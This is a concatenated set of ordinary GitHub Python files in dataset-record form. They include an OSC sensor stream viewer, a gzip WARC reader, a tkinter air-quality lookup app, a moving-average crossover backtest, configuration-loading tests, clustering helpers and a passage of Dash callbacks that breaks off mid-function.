1)\n\t\t\t\t\tseries_pos = Point(0, \n\t\t\t\t\t\ti * screen_size.h / len(self.devices) + j * screen_size.h / (self.nChannel * len(self.devices))\n\t\t\t\t\t\t)\t\t\t\n\t\t\t\tseries.bsize = series_size\n\t\t\t\tseries.maxLines = series.bsize.w / series.bufferLength / series.scene.timeScale \n\t\t\t\tseries.position = series_pos\t\n\t\t\t\tseries.path = ui.Path.rect(0,0, series_size.w, series_size.h)\n\t\t\t\tseries.grids[0].path = ui.Path.rect(0, 0, series_size.w, \tseries_size.h/2)\n\t\t\t\tseries.grids[1].path = ui.Path.rect(0, 0, series_size.w, \tseries_size.h/2)\n\t\t\t\tseries.grids[1].position = (0, series_size.h/2)\n\t\t\t\tseries.label.position = (series.bsize.w - 2 , series.bsize.h)\n\t\t\t\t\n\t\t\t\tfor line in series.lines:\n\t\t\t\t\tline.remove_from_parent()\n\t\t\t\t\n\t\t\t\tseries.lines.clear()\n\t\t\t\n\tdef setup(self):\t\t\n\t\tfill_colors = ('grey','darkgray','grey','darkgray')\n\t\tline_colors = ('lightgreen','lightblue','lightpink','lightyellow')\n\t\tcolors = ('darkgreen', 'darkblue', 'darkred', 'darkorange')\n\t\t\t\t\n\t\tscreen_size = get_screen_size()\n\n\t\tfor i, id in enumerate(self.device_ids):\n\n\t\t\t# Mask Node (Device Window)\t\t\t\n\t\t\tmask = EffectNode(parent = self)\n\t\t\tlabel = LabelNode('Device {}'.format(id), \n\t\t\t\tfont = ('Helvetica', 12), color = 'black',\n\t\t\t\tanchor_point=(0,1), z_position = 2, parent= mask\n\t\t\t\t)\n\t\t\tstatus_label = LabelNode('', font = ('Helvetica', 12), \n\t\t\t\t\tanchor_point=(0,0), z_position = 2, parent=mask\n\t\t\t\t)\n\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\tmask_size = Size(screen_size.w / len(self.devices) + 1, screen_size.h)\n\t\t\t\tmask_position = Point(i * screen_size.w / len(self.devices) , 0)\n\t\t\t\tlabel.position= (mask_position.x + 4, mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tstatus_label.position=(mask_position.x + 2, 2)\n\t\t\telse:\n\t\t\t\tmask_size = Size(screen_size.w , screen_size.h / len(self.devices) + 1)\n\t\t\t\tmask_position = Point(0, i * screen_size.h / len(self.devices) )\n\t\t\t\tlabel.position= (mask_position.x + 4, (i+1)*mask_size.h - 1)\t\t\t\t\t\n\t\t\t\tstatus_label.position=(mask_position.x + 2, i*mask_size.h + 2)\n\t\t\t\t\n\t\t\tmask.crop_rect = Rect(mask_position.x, mask_position.y,\t\n\t\t\t\tmask_size.w+1, mask_size.h)\t\t\t\t\t\t\n\t\t\t\t\n\t\t\tself.masks[id] = mask\t\t\t\n\t\t\tself.deviceLabels[id] = label\n\t\t\tself.devices[id] = list()\n\t\t\tself.deviceStatusLabels[id] = status_label\n\t\t\t\n\t\t\tfor j in range(self.nChannel):\n\t\t\t\tif screen_size.w > screen_size.h:\n\t\t\t\t\tseries_size = Size(screen_size.w / len(self.devices) - 1, \n\t\t\t\t\t\tscreen_size.h / self.nChannel - 1)\n\t\t\t\t\tseries_pos = Point(i * screen_size.w / len(self.devices) , \n\t\t\t\t\t\tj * screen_size.h / self.nChannel)\n\t\t\t\telse:\n\t\t\t\t\tseries_size = Size(screen_size.w , \n\t\t\t\t\t\tscreen_size.h / ( self.nChannel * len(self.devices) ) - 1)\n\t\t\t\t\tseries_pos = Point(0, i * screen_size.h / len(self.devices) + \n\t\t\t\t\t\tj * screen_size.h / (self.nChannel * len(self.devices) ))\t\t\t\n\t\t\t\t\n\t\t\t\tseries = Series(\n\t\t\t\t\tname = 'Channel {}'.format(j+1),\n\t\t\t\t\tbsize=series_size,\n\t\t\t\t\tposition=series_pos,\n\t\t\t\t\tanchor_point=(0,0),\n\t\t\t\t\tline_color = 'white', #line_colors[j],\n\t\t\t\t\tcolor = 'white', #colors[j], \n\t\t\t\t\tstroke_color = 'clear', \n\t\t\t\t\tfill_color = fill_colors[i],\n\t\t\t\t\tz_position=0,\n\t\t\t\t\tparent=mask)\n\n\t\t\t\tself.devices[id].append(series)\n\n\tdef update(self):\n\t\t\tduration = self.t - self.prevSampleSecond\n\t\t\tif duration >= 1:\n\t\t\t\tfor i, id in enumerate(self.devices):\t\t\t\t\t\n\t\t\t\t\tself.lock.acquire()\t\t\t\t\t\n\t\t\t\t\tsampleCount = self.sampleCounters[id]\n\t\t\t\t\tfor series in self.devices[id]:\n\t\t\t\t\t\tdeltaX = series.update()\n\t\t\t\t\t\tmove_by = Action.move_by(deltaX, 0, duration)\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\tfor line in series.lines:\t\t\t\t\n\t\t\t\t\t\t\tline.run_action(move_by)\n\t\t\t\t\tself.lock.release()\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\tself.runningSamples[id].append(sampleCount)\t\t\t\t\t\n\t\t\t\t\taverageSampleRate = sum(self.runningSamples[id])/len(self.runningSamples[id])\n\t\t\t\t\n\t\t\t\t\tself.deviceStatusLabels[id].text = '{:.0f}Hz {:.0f}Hz(10s)'.format(sampleCount, averageSampleRate)\n\n\t\t\t\t\tself.lock.acquire()\t\t\n\t\t\t\t\tself.sampleCounters[id] = 0\n\t\t\t\t\tself.lock.release()\n\n\t\n\t\t\t\tself.prevSampleSecond = self.t\n\t\t\t\n\t\t\t\n\tdef stop(self):\n\n\t\tself.server.shutdown()\n\t\tself.server.server_close()\n\t\tprint('server shuntdown.')\n\t\ndef raw_osc_handler(unused_addr, *args):\n\n\tglobal viewer\n\tglobal lock\n\t\n\tid = args[0][0] # device index\n\tmsg = args[1:]\t\n#\tprint(msg[0])\n\ttry:\n\t\tdevice = viewer.devices[id]\n\t\tassert len(msg) == 5, 'wrong message length: {}'.format(msg) \n\t\tdropCount = 0\n\t\tsampleIndex = msg[0]\n\t\tsample = msg[1:]\n\t\tif sampleIndex - viewer.prevSampleIndex[id] != 1:\n\t\t\tif sampleIndex != 0:\n\t\t\t\tif sampleIndex < viewer.prevSampleIndex[id]:\n\t\t\t\t\tdropCount = sampleIndex + 200 - viewer.prevSampleIndex[id]\n\t\t\t\telse:\n\t\t\t\t\tdropCount = sampleIndex - viewer.prevSampleIndex[id]\t\n\n\t\tviewer.prevSampleIndex[id] = sampleIndex\t\n\t\t\n\t\tlock.acquire()\n\t\tviewer.sampleCounters[id] += 1 + dropCount\n\n\t\tfor j, series in enumerate(device):\n\t\t\tseries.buffer.extend([None] * dropCount)\n\t\t\tseries.buffer.append(sample[j])\n\t\t\n\t\tlock.release()\n\t\t\t\t\n\n\texcept Exception as e:\n\t\tprint('error in parsing osc message: {!s}. {}'.format(e, msg))\n\ndef switched(sender):\n\tglobal used_device_ids\n\t\n\tif sender.value:\n\t\tused_device_ids.add(sender.device_id)\n\telse:\n\t\tused_device_ids.discard(sender.device_id)\n\t\ndef start_viewer(sender):\n\tglobal viewer\n\n\t### OSC Server ###\n\tlocal_address = socket.gethostbyname(socket.gethostname())\n\tdispatch = dispatcher.Dispatcher()\n\t\n\tfor i, id in enumerate(used_device_ids):\n\t\tdispatch.map('/{}'.format(id), raw_osc_handler, id)\n\n\tserver = osc_server.ThreadingOSCUDPServer((local_address, 5005), dispatch)\n\tserver.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 512000)\n\tserver.socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVLOWAT, 1)\n\n\tviewer = Viewer(device_ids=used_device_ids, nChannel=4, server=server, lock=lock)\n\t\n\t### START SERVER ###\t\n\tserver_thread = Thread(target=server.serve_forever)\n\tserver_thread.setDaemon(True)\n\tserver_thread.start()\n\tprint('serving at {}:{}'.format(local_address, 5005))\n\n\t\t\n\tsceneView = SceneView()\n\tsceneView.scene = viewer\n\tsceneView.flex = 'LRHWT' \n\tsceneView.present('full_screen')\n\t\t\t\nif __name__ == '__main__':\n\tused_device_ids = set(('e4f7','cec8'))\n\tlock = Lock()\n\n\t### UI Viewer ###\n\tv = ui.load_view('stream_viewer.pyui')\n\tv.present(style='full_screen')\t\n\t### Visualization Starts ####\n\t#run(viewer, show_fps = True, frame_interval = 1, anti_alias = True)\n\t\n","repo_name":"wliao229/ios_stream_viewer","sub_path":"ios_stream_viewer.py","file_name":"ios_stream_viewer.py","file_ext":"py","file_size_in_byte":11452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26913553552","text":"# Python TR\n# Time：2021/9/13 9:29 下午\n\nclass Solution(object):\n def findPeakElement(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if nums==None or len(nums)==0:\n return -1\n l = 0\n r = len(nums)-1\n while l^[^\\r\\n]*(?:\\r\\n|\\r(?!\\n)|\\n))(?P.*)$',\n re.DOTALL)\n\nclass GzipRecordFile(object):\n \"\"\"A file like class providing 'readline' over catted gzip'd records\"\"\"\n def __init__(self, fh):\n self.fh = fh\n self.buffer = \"\"\n self.z = zlib.decompressobj(16+zlib.MAX_WBITS)\n self.done = False\n\n\n def _getline(self):\n if self.buffer:\n #a,nl,b\n match = line_rx.match(self.buffer)\n #print match\n # print 'split:', split[0],split[1], len(split[2])\n if match: \n output = match.group('line')\n\n self.buffer = \"\"+match.group('tail')\n return output\n \n elif self.done:\n output = self.buffer\n self.buffer = \"\"\n\n return output\n\n def readline(self):\n while True:\n output = self._getline()\n if output:\n return output\n\n if self.done:\n return \"\"\n \n #print 'read chunk at', self.fh.tell(), self.done\n chunk = self.fh.read(CHUNK_SIZE)\n out = self.z.decompress(chunk)\n # if we hit a \\r on reading a chunk boundary, read a little more\n # in case there is a following \\n \n while out.endswith('\\r') and not self.z.unused_data:\n chunk = self.fh.read(CHUNK_SIZE)\n if not chunk:\n break\n tail = self.z.decompress(chunk)\n if tail:\n out+=tail\n break\n\n\n if out:\n self.buffer += out\n\n if self.z.unused_data:\n #print 'unused', len(self.z.unused_data)\n self.fh.seek(-len(self. z.unused_data), 1)\n self.done = True\n continue\n if not chunk:\n self.done = True\n continue\n\n def close(self):\n if self.z:\n self.z.flush()\n \n \n \n \n \n","repo_name":"alard/warc-proxy","sub_path":"hanzo/warctools/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":7070,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"54"} +{"seq_id":"14409368438","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nimport requests\nimport json\n\nroot = Tk()\nroot.title(\"weather app\")\nroot.geometry(\"400x80\")\n\n# create Zipcode Lookup Function\ndef ziplookup():\n\t#zipcode.get()\n\t#zipcodeLabel = Label(root, text = zipcode.get())\n\t#zipcodeLabel.grid(row = 1, column = 0, columnspan = 2)\n\n\t# now to bring in the api\n\n\tapi_request = requests.get(\"https://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=20002&distance=25&API_KEY=E00BA9FB-AC4A-4AEE-A02B-D57C97C832ED\")\n\n\ttry:\n\t\tapi_request = requests.get(\"https://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=\" + zipcode.get() + \"&distance=25&API_KEY=E00BA9FB-AC4A-4AEE-A02B-D57C97C832ED\")\n\t\tapi = json.loads(api_request.content)\n\t\tcity = api[0][\"ReportingArea\"]\n\t\tquality = api[0][\"AQI\"]\n\t\tcategory = api[0][\"Category\"][\"Name\"]\n\n\t\tif category == \"Good\":\n\t\t\tweather_colour = \"#0C0\"\n\n\t\telif category == \"Moderate\":\n\t\t\tweather_colour = \"#FFFF00 \"\n\n\t\telif category == \"Unhealthy\":\n\t\t\tweather_colour = \"FF0000\"\n\n\t\telif category == \"Very Unhealthy\":\n\t\t\tweather_colour = \"#990066 \"\n\n\t\telif category == \"Hazardous\":\n\t\t\tweather_colour = \"#660000 \"\n\n\t\telse:\n\t\t\tweather_colour = \"ff9900 \"\n\n\t\troot.configure(background = weather_colour)\n\n\t\t# since we only want the first bit we will only call this item \n\t\tmyLabel = Label(root, text = f\"{city} Air quality:{quality} {category}\", font = (\"Arial\", 20), background = weather_colour)\n\t\tmyLabel.grid(row = 1, column = 0, columnspan = 2)\n\n\texcept Exception as e:\n\t\tapi = \"Error...\"\n\n\nzipcode = Entry(root)\nzipcode.grid(row = 0, column = 0, stick = W+E+N+S)\n\nzip_btn = Button(root, text = \"Lookup Zipcode\", command = ziplookup)\nzip_btn.grid(row = 0, column = 1, stick = W+E+N+S)\n\nroot.mainloop()","repo_name":"samuelkd1/tkinker_practice","sub_path":"weather_app.py","file_name":"weather_app.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37217248911","text":"t = int(input())\nl=[]\nfor a0 in range(t):\n\tlst = list(input())\n\tcount=0\n\tfor i in range(len(lst)-1):\n\t\tif(lst[i]=='<' and lst[i+1]=='>'):\n\t\t\tcount=count+1\n\tl.append(count)\n\nfor k in l:\n print (k)","repo_name":"suyash930/Codechef","sub_path":"chefstud.py","file_name":"chefstud.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30126177513","text":"\nfrom Atoll_UMTS_EXE.antennas_xml_update import *\nimport os\n\norigReplacement = {\"CUSTOM_NEMS_ANTENNA_NAME\": \"FAMILY\", \"z:row\":\"z_row\",\"rs:data\" :\"rs_data\",\"rs:insert\" : \"rs_insert\",\"rs:nullable\":\"rs_nullable\", \"rs:fixedlength\":\"rs_fixedlength\", \"s:extends\":\"s_extends\", \"s:Schema\":\"s_Schema\", \"s:ElementType\":\"s_ElementType\",\"s:AttributeType\":\"s_AttributeType\",\"s:datatype\":\"s_datatype\", \"rs:updatable\":\"rs_updatable\",\"dt:type\":\"dt_type\",\"rs:number\":\"rs_number\",\"rs:write\":\"rs_write\",\"dt:maxLength\":\"dt_maxLength\", \"rs:precision\":\"rs_precision\",\"rs:maybenull\":\"rs_maybenull\", \"rs:long\":\"rs_long\", \"xmlns:s\":\"xmlns_s\", \"xmlns:dt\":\"xmlns_dt\",\"xmlns:rs\":\"xmlns_rs\", \"xmlns:z\":\"xmlns_z\"}\nreplacementOrig = {\"z_row\":\"z:row\",\"rs_data\":\"rs:data\",\"rs_insert\" : \"rs:insert\",\"rs_nullable\":\"rs:nullable\", \"rs_fixedlength\":\"rs:fixedlength\", \"s_extends\":\"s:extends\", \"s_Schema\":\"s:Schema\", \"s_ElementType\":\"s:ElementType\",\"s_AttributeType\":\"s:AttributeType\",\"s_datatype\":\"s:datatype\", \"rs_updatable\":\"rs:updatable\",\"dt_type\":\"dt:type\",\"rs_number\":\"rs:number\",\"rs_write\":\"rs:write\",\"dt_maxLength\":\"dt:maxLength\", \"rs_precision\":\"rs:precision\",\"rs_maybenull\":\"rs:maybenull\", \"rs_long\":\"rs:long\", \"xmlns_s\":\"xmlns:s\", \"xmlns_dt\":\"xmlns:dt\",\"xmlns_rs\":\"xmlns:rs\" ,\"xmlns_z\":\"xmlns:z\"}\n\nif __name__ == \"__main__\":\n xml_dir_in = \"\"\n xml_dir_out = \"\"\n with open(\"antennas_xml_update.properties\", \"r\") as properties:\n for line in properties.readlines():\n if str(line)[0:10] == \"xml_dir_in\":\n xml_dir_in = str(line).split(sep=\"=\")[1].rstrip(\"\\n\")\n\n if str(line)[0:11] == \"xml_dir_out\":\n xml_dir_out = str(line).split(sep=\"=\")[1].rstrip(\"\\n\")\n\n print(\"input dir=\" + xml_dir_in)\n print(\"output dir=\" + xml_dir_out)\n if not os.path.isdir(xml_dir_in):\n print(\"Please provide a valid input directory which stores antennas.xml and utransmitter.xml\")\n if not os.path.isdir(xml_dir_out):\n print(\"Please provide an existing output directory\")\n\n if not os.path.isdir(xml_dir_in):\n print(\"Please provide valid input directory\")\n exit()\n if not os.path.isdir(xml_dir_out):\n print(\"Please provide valid output directory\")\n exit()\n\n antenna_n_family = beautify_family_attr(origReplacement,replacementOrig,xml_dir_in, xml_dir_out)\n create_profile_translator(xml_dir_in, xml_dir_out, antenna_n_family)\n\n","repo_name":"sdbit04/Atoll_UMTS_EXE","sub_path":"Atoll_UMTS_EXE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"32342368976","text":"# Import the required libraries\nimport numpy as np\nimport pandas as pd\nimport hvplot\nfrom pathlib import Path\nfrom datetime import date\nfrom pandas.core.frame import DataFrame\nimport yfinance as yf\nimport os\nimport pricing\n\ndef analyze_dmac(signals_df:DataFrame):\n short_window = 50\n long_window = 100\n signals_df[\"SMA50\"] = signals_df.Close.rolling(window=short_window).mean()\n signals_df[\"SMA100\"] = signals_df.Close.rolling(window=long_window).mean()\n signals_df[\"Signal\"] = 0.0\n signals_df[\"Signal\"][short_window:] = np.where(\n signals_df[\"SMA50\"][short_window:] > signals_df[\"SMA100\"][short_window:], 1.0, 0.0\n )\n\n # Calculate the points in time when the Signal value changes\n # Identify trade entry (1) and exit (-1) points\n signals_df[\"Entry/Exit\"] = signals_df[\"Signal\"].diff()\n\n # Review the DataFrame\n # signals_df.loc[\"2015-12-03\":\"2015-12-13\"]\n\n exit = signals_df[signals_df['Entry/Exit'] == -1.0]['Close'].hvplot.scatter(\n color=\"red\",\n marker=\"v\",\n size=200,\n legend=False,\n ylabel=\"Price in $\",\n width=1000,\n height=400)\n \n entry = signals_df[signals_df['Entry/Exit'] == 1.0]['Close'].hvplot.scatter(\n color=\"green\",\n marker=\"^\",\n size=200,\n legend=False,\n ylabel=\"Price in $\",\n width=1000,\n height=400)\n\n security_close = signals_df[['Close']].hvplot(\n line_color=\"black\",\n ylabel=\"Price in $\",\n width=1000,\n height=400)\n\n moving_avgs = signals_df[[\"SMA50\", \"SMA100\"]].hvplot(\n ylabel=\"Price in $\",\n width=1000,\n height=400)\n\n entry_exit_plot = security_close * moving_avgs * entry * exit\n\n return signals_df, entry_exit_plot\n\ndef backtest_dmac(signals_df):\n # Set initial capital\n initial_capital = float(100000)\n\n # Set the share size\n share_size = 500\n\n # Buy a 500 share position when the dual moving average crossover Signal equals 1 (SMA50 is greater than SMA100)\n # Sell a 500 share position when the dual moving average crossover Signal equals 0 (SMA50 is less than SMA100)\n signals_df['Position'] = share_size * signals_df['Signal']\n\n # Determine the points in time where a 500 share position is bought or sold\n signals_df['Entry/Exit Position'] = signals_df['Position'].diff()\n\n # Multiply the close price by the number of shares held, or the Position\n signals_df['Portfolio Holdings'] = signals_df.Close * signals_df['Position']\n\n # Subtract the amount of either the cost or proceeds of the trade from the initial capital invested\n signals_df['Portfolio Cash'] = initial_capital - (signals_df.Close * signals_df['Entry/Exit Position']).cumsum()\n\n # Calculate the total portfolio value by adding the portfolio cash to the portfolio holdings (or investments)\n signals_df['Portfolio Total'] = signals_df['Portfolio Cash'] + signals_df['Portfolio Holdings']\n\n # Calculate the portfolio daily returns\n signals_df['Portfolio Daily Returns'] = signals_df['Portfolio Total'].pct_change()\n\n # Calculate the portfolio cumulative returns\n signals_df['Portfolio Cumulative Returns'] = (1 + signals_df['Portfolio Daily Returns']).cumprod() - 1\n\n # Visualize exit position relative to total portfolio value\n exit = signals_df[signals_df['Entry/Exit'] == -1.0]['Portfolio Total'].hvplot.scatter(\n color='yellow',\n marker='v',\n size=200,\n legend=False,\n ylabel='Total Portfolio Value',\n width=1000,\n height=400\n )\n\n # Visualize entry position relative to total portfolio value\n entry = signals_df[signals_df['Entry/Exit'] == 1.0]['Portfolio Total'].hvplot.scatter(\n color='purple',\n marker='^',\n size=200,\n ylabel='Total Portfolio Value',\n width=1000,\n height=400\n )\n\n # Visualize the value of the total portfolio\n total_portfolio_value = signals_df[['Portfolio Total']].hvplot(\n line_color='lightgray',\n ylabel='Total Portfolio Value',\n xlabel='Date',\n width=1000,\n height=400\n )\n\n # Overlay the plots\n portfolio_entry_exit_plot = total_portfolio_value * entry * exit\n portfolio_entry_exit_plot.opts(\n title=\"Total Portfolio Value\",\n yformatter='%.0f'\n )\n\n return signals_df[[\"Portfolio Total\", \"Portfolio Cumulative Returns\"]], portfolio_entry_exit_plot","repo_name":"SpeedsMach5/Market_Tools","sub_path":"dmac_strategy.py","file_name":"dmac_strategy.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"35056842600","text":"import tensorflow as tf\nfrom transformers import AutoTokenizer, TFAutoModelForSequenceClassification\n\ntokenizer = AutoTokenizer.from_pretrained(\"ProsusAI/finbert\")\nmodel = TFAutoModelForSequenceClassification.from_pretrained(\"ProsusAI/finbert\")\n\n# def pred_to_sentiment(outputs):\n# sentiments = [\n# \"positive\",\n# \"neutral\",\n# \"negative\"\n# ]\n\n# i = max(range(len(outputs[0][0])), key=outputs[0][0].__getitem__)\n# return sentiments[i]\n \n\n# print(outputs[0][0])\n# print(pred_to_sentiment(outputs))\n\ndef name():\n return \"Finbert\"\n\ndef run(sentences):\n for s in sentences:\n inputs = tokenizer(s, padding = True, truncation = True, return_tensors='tf')\n outputs = model(**inputs)","repo_name":"stefanTrawicki/profiling_bert_models","sub_path":"finbert.py","file_name":"finbert.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34316987689","text":"import glob\nimport os\nimport shutil\nfrom unittest.mock import patch\n\nimport pytest\n\nimport settings\n\nsettings_dir = \"fortest/server1\"\ndefault_config = {\"config\": \"default\"}\ndev_config = {\"config\": \"dev\"}\nprod_config = {\"config\": \"prod\"}\nsite_config = {\"config\": \"site\"}\nrepo_dir = \"/tmp/settings-repo\"\ngit_settings_subdir = repo_dir + \"/myapp1\"\n\n\ndef setup_module():\n cmds = [\n \"mkdir -p %s\" % git_settings_subdir,\n \"git init %s\" % repo_dir,\n 'echo \"PROD = True\" > %s/prod_settings.py' % git_settings_subdir,\n 'echo \"PROD = False\" > %s/dev_settings.py' % git_settings_subdir,\n ]\n for cmd in cmds:\n ret = os.system(cmd)\n if ret != 0:\n raise Exception(\"failed: %s\" % cmd)\n\n\ndef create_config_lines(config):\n lines = []\n for kv in config.items():\n lines.append('%s = \"%s\"' % kv)\n return lines\n\n\ndef create_config_file(path, config):\n open(path, 'w').writelines(create_config_lines(config))\n\n\ndef test_no_settings_dir():\n settings_file = \"settings/default_settings.py\"\n try:\n assert settings.get(\"config\") is None, settings.get(\"config\")\n create_config_file(settings_file, default_config)\n settings.reload()\n assert settings.get(\"config\") == \"default\", settings.get(\"config\")\n finally:\n os.remove(settings_file)\n\n\n@patch.dict(os.environ, {\"SETTINGS_DIR\": settings_dir, \"APP_MODE\": \"dev\"}, clear=True)\ndef test_rc():\n\n os.makedirs(settings_dir)\n open(os.path.join(settings_dir, \"__init__.py\"), \"w\").close()\n open(os.path.join(settings_dir, \"../\", \"__init__.py\"), \"w\").close()\n\n config_path = os.path.join(settings_dir, \"default_settings.py\")\n create_config_file(config_path, default_config)\n settings.reload()\n assert settings.config == \"default\"\n\n config_path = os.path.join(settings_dir, \"dev_settings.py\")\n create_config_file(config_path, dev_config)\n settings.reload()\n assert settings.config == \"dev\"\n\n config_path = os.path.join(settings_dir, \"prod_settings.py\")\n create_config_file(config_path, prod_config)\n settings.reload()\n assert settings.config == \"dev\"\n\n config_path = os.path.join(settings_dir, \"site_settings.py\")\n create_config_file(config_path, site_config)\n settings.reload()\n assert settings.config == \"site\"\n\n\ndef test_backward_compatibility():\n from converge import settings\n\n\ndef test_env_vars():\n config = {\"SETTINGS_DIR\": \"settings\"}\n\n os.environ[\"SETTINGS_DIR\"] = \"settings/site1\"\n settings.parse_osenv(config)\n assert config[\"SETTINGS_DIR\"] == os.environ[\"SETTINGS_DIR\"]\n\n os.environ[\"SETTINGS_DIR\"] = \"settings/site2\"\n settings.parse_osenv(config)\n assert config[\"SETTINGS_DIR\"] == os.environ[\"SETTINGS_DIR\"]\n\n\n@patch.dict(\n os.environ,\n {\n \"SETTINGS_DIR\": settings_dir,\n \"APP_MODE\": \"prod\",\n \"GIT_SETTINGS_REPO\": repo_dir,\n \"GIT_SETTINGS_SUBDIR\": git_settings_subdir,\n \"PATH\": os.environ[\"PATH\"],\n },\n clear=True,\n)\ndef test_git_settings():\n settings.reload()\n assert settings.PROD is True\n\n\ndef test_rc_file_deprecated():\n\n convergerc = \".convergerc\"\n open(convergerc, \"w\").write(\"\")\n\n try:\n with pytest.raises(Exception):\n settings.reload()\n finally:\n os.remove(convergerc)\n\ndef test_ensure_settings_dir():\n shutil.rmtree(settings_dir)\n\n with pytest.raises(Exception, match=\"no such directory\"):\n settings.reload()\n\n\n\ndef teardown_module():\n py_path = \"default_settings.py\"\n pyc_path = py_path + \"c\"\n for path in (py_path, pyc_path):\n if os.path.exists(path):\n os.remove(path)\n if glob.glob(os.path.join(settings_dir, \"__init__.py\")): # playing safe\n shutil.rmtree(settings_dir)\n if repo_dir.startswith(\"/tmp\"): # playing safe\n shutil.rmtree(repo_dir)\n\n","repo_name":"shon/converge","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"8964092901","text":"from sklearn.cluster import KMeans, DBSCAN\nfrom sklearn.metrics import silhouette_score\nimport numpy as np\n\n\nclass KMeansClustering:\n def __init__(self, num_clusters):\n self.num_clusters = num_clusters\n if num_clusters == 'auto':\n pass\n else:\n self.kmeans = KMeans(n_clusters=num_clusters, n_init='auto')\n\n def fit_to_data(self, data):\n if self.num_clusters == 'auto':\n scores = [0, 0]\n for k in range(2, 10):\n kmeans = KMeans(n_clusters=k, n_init='auto')\n kmeans.fit(data)\n labels = kmeans.labels_\n scores.append(silhouette_score(data, labels, metric='euclidean'))\n\n optimal_cluster_num = np.argmax(scores)\n print(\"Optimal Cluster Number is: {}\".format(optimal_cluster_num))\n self.kmeans = KMeans(n_clusters=optimal_cluster_num, n_init='auto')\n self.kmeans.fit(data)\n return self.kmeans.labels_\n\n def predict(self, data):\n return self.kmeans.predict(data)\n\n\nclass DBSCANClustering:\n def __init__(self, eps=0.5):\n self.dbscan = DBSCAN(eps=eps)\n\n def fit_to_data(self, data):\n self.dbscan.fit(data)\n return self.dbscan.labels_\n","repo_name":"PascalGraf95/proj-feature-extraction","sub_path":"clustering_algorithms.py","file_name":"clustering_algorithms.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39131498579","text":"import dash\nimport dash_core_components as dcc\nimport dash_daq as daq\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State, MATCH\nfrom dash.exceptions import PreventUpdate\n\nimport bisect\nimport json\nimport pandas as pd\nimport base64\n\n\nimport MDDClass as mc\nimport app_util as au\n\n\ndef mdd_callbacks(app):\n\n @app.callback(\n [Output('start_dataslice', 'children'),\n Output('stop_dataslice', 'children'),\n Output('slider_dataslice', 'children'),\n Output('valid_values', 'children')],\n [Input('metadata', 'data')]\n )\n def dataslice_inputs(metadata):\n data_start, data_stop = [], []\n data_slider, validvals = [], []\n for i, row in enumerate(metadata):\n data_start.append(\n dcc.Input(\n id={'type': 'data_start', 'index': i},\n type='text',\n value=row['Values'][0],\n style={\n 'marginBottom': 12,\n 'width': 50\n }\n )\n )\n\n data_stop.append(\n dcc.Input(\n id={'type': 'data_stop', 'index': i},\n type='text',\n value=row['Values'][-1],\n style={\n 'marginBottom': 12,\n 'width': 50\n }\n )\n )\n\n data_slider.append(\n html.Div(\n dcc.RangeSlider(\n id={'type': 'data_slider', 'index': i},\n min=row['Values'][0],\n max=row['Values'][-1],\n marks={j: '' for j in row['Values']},\n step=None,\n value=[row['Values'][0], row['Values'][-1]]\n ),\n style={\n 'marginBottom': 11\n }\n )\n )\n\n validvals.append(\n dcc.Store(\n id={'type': 'validvals', 'index': i},\n data=row['Values']\n )\n )\n\n return data_start, data_stop, data_slider, validvals\n\n @app.callback(\n Output({'type': 'data_slider', 'index': MATCH}, 'value'),\n [Input({'type': 'data_start', 'index': MATCH}, 'n_blur'),\n Input({'type': 'data_stop', 'index': MATCH}, 'n_blur')],\n [State({'type': 'data_start', 'index': MATCH}, 'value'),\n State({'type': 'data_stop', 'index': MATCH}, 'value'),\n State({'type': 'validvals', 'index': MATCH}, 'data')]\n )\n def update_dataslider(nstart, nstop, start, stop, validval):\n if nstart is not None or nstop is not None:\n try:\n start_ind = bisect.bisect_left(validval, float(start))\n stop_ind = bisect.bisect_left(validval, float(stop))\n\n if start_ind >= len(validval):\n start_ind = len(validval) - 1\n if stop_ind >= len(validval):\n stop_ind = len(validval) - 1\n if stop_ind < start_ind:\n stop_ind = start_ind\n\n start = validval[start_ind]\n stop = validval[stop_ind]\n value = [start, stop]\n return value\n except:\n raise PreventUpdate\n\n @app.callback(\n [Output({'type': 'data_start', 'index': MATCH}, 'value'),\n Output({'type': 'data_stop', 'index': MATCH}, 'value')],\n [Input({'type': 'data_slider', 'index': MATCH}, 'value')]\n )\n def update_datastartstop(sliderval):\n return sliderval[0], sliderval[1]\n\n @app.callback(\n Output('add_data', 'contents'),\n [Input('add_data_button', 'n_clicks')]\n )\n def clear_add_data_component(nclicks):\n if nclicks > 0:\n return ''\n\n # Create and add data to mdd\n @app.callback(\n [Output('mdd', 'data'),\n Output('graphparam_confirm', 'n_clicks')],\n [Input('metadata', 'data'),\n Input('load', 'contents'),\n Input('add_data', 'contents')],\n [State('mdd', 'data'),\n State('start_dataslice', 